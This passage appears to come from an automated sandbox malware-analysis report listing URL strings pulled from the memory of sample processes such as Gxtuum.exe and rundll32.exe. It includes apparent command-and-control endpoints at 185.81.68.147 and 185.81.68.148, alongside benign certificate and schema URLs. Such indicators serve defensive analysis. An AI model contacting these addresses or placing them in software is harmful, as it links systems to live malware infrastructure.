Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.phpbf198
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.phpbo
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.phpi
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.phpxq
Source: rundll32.exe, 00000021.00000002.3797376340.0000000002E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php~
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000826000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/wsys
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000826000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/
Source: rundll32.exe, 00000022.00000002.3798980117.0000000003211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh
Source: rundll32.exe, 00000021.00000002.3797376340.0000000002E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS$g
Source: rundll32.exe, 00000022.00000002.3798980117.00000000031BA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000022.00000002.3798980117.0000000003211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000835000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php(
Source: rundll32.exe, 0000001A.00000002.3469272832.00000222064D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php1iP
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000017.00000002.3805886910.0000000000835000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.php98
Source: Gxtuum.exe, 00000017.00000002.3805886910.00000000007FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpG
Source: rundll32.exe, 0000001A.00000002.3469272832.00000222064D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpJU:
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000835000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpK
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000826000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpM
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000835000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpP
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000835000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpV
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpb
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000835000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpbbf198
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000826000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpd
Source: Gxtuum.exe, 00000017.00000002.3805886910.00000000007E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpi
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phplasses
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpmb3JtLXVybGVuY29kZWQ=ex.php$o
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000835000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpndows
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpodedY
Source: Gxtuum.exe, 00000017.00000002.3805886910.00000000007FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phps
Source: rundll32.exe, 00000021.00000002.3797376340.0000000002E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpsK1bRhSyTkkD9QYQDw4TYWGHLCsdncEYUAc
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/8Fvu5jh4DbS/index.phpvhfjke3/index.php
Source: rundll32.exe, 00000021.00000002.3797376340.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000022.00000002.3798980117.00000000031BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/Fvu5jh4DbS/index.php
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000826000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/J
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000826000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.148/ViewSizePreferences.SourceAumid
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B344028000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: explorer.exe, 00000005.00000003.3084849985.00000000087DE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.00000000087DE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3818503934.0000000006A86000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2193770604.0000000006A83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1329505266.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3822099222.00000000087DE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B344028000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1512340032.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B344028000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: explorer.exe, 00000005.00000003.3084849985.00000000087DE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.00000000087DE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3818503934.0000000006A86000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2193770604.0000000006A83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1329505266.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3822099222.00000000087DE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B344028000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B344028000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: explorer.exe, 00000005.00000003.3084849985.00000000087DE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.00000000087DE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3818503934.0000000006A86000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2193770604.0000000006A83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1329505266.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3822099222.00000000087DE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B344028000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: explorer.exe, 00000005.00000003.3084849985.00000000087DE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.00000000087DE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3818503934.0000000006A86000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2193770604.0000000006A83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1329505266.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3822099222.00000000087DE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B344028000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B344028000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34402C000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: explorer.exe, 00000005.00000002.3818286475.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2194477933.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3084371056.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1329505266.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1512879245.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1528803762.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1532153483.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 0000000B.00000003.1530758520.000001B34401F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: 56C7.tmp.ctx.exe, 00000010.00000002.1551864143.00007FFEDDACD000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://python.org/dev/peps/pep-0263/
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/System.ServiceModel
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/System.ServiceModelD
